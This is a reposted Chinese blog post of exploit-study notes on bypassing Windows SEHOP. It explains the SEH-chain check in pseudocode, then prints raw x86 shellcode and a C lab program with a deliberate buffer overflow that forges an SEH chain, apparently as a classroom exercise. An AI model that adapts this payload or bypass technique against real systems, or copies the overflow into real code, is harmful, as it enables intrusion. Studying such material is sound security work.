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漏洞学习笔记-020-SEHOP简介

作者:互联网


SEHOP的介绍和一点简单攻击

本文来源:Moeomu的博客


简介

SEHOP的核心任务就是检查S.E.H链的完整性,在程序转入异常处理前SEHOP会检查S.E.H链上最后一个异常处理函数是否为系统固定的终极异常处理函数。如果是,则说明这条S.E.H链没有被破坏,程序可以去执行当前的异常处理函数;如果检测到最后一个异常处理函数不是,则说明S.E.H链被破坏,可能发生了S.E.H覆盖攻击,程序将不会去执行当前的异常处理函数

SEHOP验证伪代码

if (process_flags & 0x40 == 0)  // 如果没有SEH记录则不进行检测
{
    if (record != 0xFFFFFFFF)  // 开始检测
    {
        do
        {
            if (record < stack_bottom || record > stack_top) // SEH 记录必须位于栈中
                goto corruption;
            if ((char *)record + sizeof(EXCEPTION_REGISTRATION) > stack_top) // SEH 记录结构需完全在栈中
                goto corruption;
            if ((record & 3) != 0) // SEH记录必须4字节对齐
                goto corruption;
            handler = record->handler;
            if (handler >= stack_bottom && handler < stack_top) // 异常处理函数地址不能位于栈中
                goto corruption;
            record = record->next;
        } while (record != 0xFFFFFFFF); // 遍历S.E.H链
    }
    if ((TEB->word_at_offset_0xFCA & 0x200) != 0)
    {
        if (handler != &FinalExceptionHandler) // 核心检测,地球人都知道,不解释了
        goto corruption;
    }
}

攻击思路

攻击返回地址

如果此函数启用了SEHOP但是没有启用GS或者函数刚好没有启用GS那么直接攻击返回地址即可

攻击虚函数

SEHOP只保护SEH,但是虚函数表它并没有保护,攻击虚函数依旧可以成功

利用未启用SEHOP的模块

微软为一些加密壳禁用了SEHOP,例如穿山甲Armadilo

Shellcode_for_windows7=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" // 在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;

伪造SEH链表

前提:ASLR不启用

#include <string.h>
#include <windows.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x14\xFF\x12\x00" // address of last seh record
"\x12\x10\x12\x11" // address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09"
"\x8B\x09" // 在这增加机器码\x8B\x09,它对应的汇编为mov ecx,[ecx]
"\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90"
"\xFF\xFF\xFF\xFF" // the fake seh record
"\x75\xA8\xF7\x77"
;

DWORD MyException(void)
{
    printf("There is an exception");
    getchar();
    return 1;
}

void test(char * input)
{
    char str[200];
    memcpy(str, input, 412);
    int zero = 0;
    __try
    {
        zero = 1 / zero;
    }
    __except(MyException()){}
}

int main()
{
    HINSTANCE hInst = LoadLibrary(_T("SEH_NOSaeSEH_JUMP.dll")); // load No_SafeSEH module
    char str[200];
    test(shellcode);
    return 0;
}

标签:x90,x68,SEHOP,简介,xFF,x8B,020,x03
来源: https://www.cnblogs.com/bluedawn/p/Exploit-Study-Notes-20.html